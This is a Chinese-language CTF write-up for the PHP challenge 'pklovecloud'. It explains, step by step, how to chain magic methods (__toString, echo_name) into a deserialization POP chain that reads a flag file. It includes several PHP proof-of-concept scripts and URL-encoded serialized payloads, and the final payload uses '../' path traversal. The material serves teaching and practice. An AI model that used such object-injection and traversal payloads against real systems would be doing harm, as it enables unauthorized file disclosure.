[第五空间 2021]pklovecloud slackmoon的WriteUp

 

        这道题,我认为有必要好好写一下WP,因为这道题的有一些点还是比较有趣的,我也是第一次见;师傅们放心观看WP,我保证讲的清清楚楚的(笑),下面正式开始讲解;

        首先这种反序列化的题目,需要先从获取Flag的函数开始一步一步的往前面做,在这道题中我们一来就发现了include 'flag.php';

        所以我们不难想到Flag可能就存放在flag.php文件中,那么我们继续往下面看代码,去找一下有没有危险的函数可以让我们读flag.php的内容;我们在Class ace中发现了file_get_contents()函数,这个函数的功能是将文件读取,因此我们只需要file_get_contents(flag.php)即可读取到flag;

 

        前面我们说了需要先从获取Flag的函数开始一步一步的往前面做,我们现在找到了获取Flag的函数,接下来我们需要去寻找如何才能调用Class ace中的file_get_contents()函数,即为去寻找如何才能调用Class ace中的echo_name()函数

        我们可以在Class acp类中的__toString()魔术方法中发现存在echo_name()函数的调用;

        接下来自然而然的是,继续往前面递推,去寻找什么能够调用Class acp中的__toString()魔术方法;那么我们需要知道__toString()魔术方法的相关知识;

在这里我进行一下总结:

  • 对一个对象进行echo操作或者print操作会触发__toString;

  • 声明的变量赋值为对象后与字符串做弱类型比较的时候就能触发__toString;

Eg. [NISACTF 2022]babyserialize

 

  • 声明的变量赋值为对象后进行正则匹配的时候就能触发__toString;

Eg. [NISACTF 2022]popchains

 

  • 声明的变量被赋值为对象后进行strolower的时候就能触发__toString;

Eg. [NISACTF 2022]popchains

        总结一下:其实__toString的触发方法就是:将对象当作字符串使用,我个人是这么理解的,如果有那里不对,还请师傅们指正;

         回到题目中来,我们会发现Class acp中的__construct()构造函数中对$cinder进行了实例化,而__construct()构造函数在实例化一个对象的时候就会被调用;       

        然后我们发现,程序接受了参数后会先进行反序列,然后echo 反序列后的对象;

 

 

        因此如果我们传入pks后,$logData会变成一个对象,然后又echo $logData,就会使得调用其对应的__toString()魔术方法;

       下面我们总结一下POP链的构造:

整体流程思路 :

Class ace ->   echo_name()

Class acp -> __toString()

Class acp -> __construct()

由于上面的思路是倒推出的,所以编写POC的时候,要反着编写;

我们先想办法触发Class acp->__construct(),在这里我们只需要编写下面的POC即可实现触发: 

<?php
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new pkshow();
    }

}
class ace
{
    public $filename;
    public $openstack;
    public $docker;
}

//触发Class acp -> __construct()
$a = new acp();
echo urlencode(serialize($a));

 然后根据题目要求GET传参给pks即可

        我们可以发现这里输出了Pk very safe^.^,说明我们上面的POP链调用到了Class pkshow中的echo name(),是因为我们的POC中$a = new acp();,然后将$a序列化后传递给pks进行反序列化后赋值给$logData,$logData又被echo操作了;

        所以就会调用acp类中的__toString()魔法方法,即为调用了$this->cinder->echo_name()这段代码,而根据acp类的默认构造方法,$this->cinder = new pkshow;所以在这里调用到了Class pkshow中的echo name();

        而我们只需要修改Class acp里面的__construct()构造函数里面的内容为:

$cinder = new ace;即可控制程序调用Class ace中的echo name();

POC如下,传参后发现我们成功来到了Class ace中的echo_name()函数的位置:

<?php
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        //触发
        $this->cinder = new ace;
    }

}
class ace
{
    public $filename;
    public $openstack;
    public $docker;
}

//触发Class acp -> __construct()
$a = new acp();
echo urlencode(serialize($a));

        接下来我们分析一下Class ace中的echo_name(),我们可以发现需要满足$this->$openstack->neutron === $this->openstack->nova

       然后在上面有$this->$openstack = unserialize($this->docker),因此只要我们使得$this->docker =null,然后让$this->filename=”flag.php”即可使得上面的判断成立,并且读取flag.php的内容;

<?php
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new ace;
    }

}
class ace
{

    public $filename="flag.php";
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

//触发Class acp -> __construct() 
$a = new acp();

$b = new ace();
$b->docker=null;

echo urlencode(serialize($a));

传参:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

然后查看源码:

得到提示:"flag in /nssctfasdasdflag";

然后我们再修改一下$this->filename= nssctfasdasdflag

<?php
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new ace;
    }

}
class ace
{

    public $filename="nssctfasdasdflag";
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

//触发Class acp -> __construct()
$a = new acp();

$b = new ace();
$b->docker=null;

echo urlencode(serialize($a));

传参:

 O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

        发现失败了,没有得到Flag,提示keystone lost~;分析了很久!!!

        最开始以为是没有成功绕过,但是其实绕过是成功的!!!在这里之所以会输出keystone lost~,是因为我们读取的nssctfasdasdflag是不存在的;

 

        因此我们尝试读取上一级目录的nssctfasdasdflag,即:读取../nssctfasdasdflag,修改后POC如下:

 

<?php
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new ace;
    }

}
class ace
{

    public $filename="../nssctfasdasdflag";
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

//触发Class acp -> __construct()
$a = new acp();

$b = new ace();
$b->docker=null;

echo urlencode(serialize($a));

 

传参:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

总结一下:第五空间的题目(快跑!!!!有毒)小细节真多

By:SlackMoon 2023.6.5 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值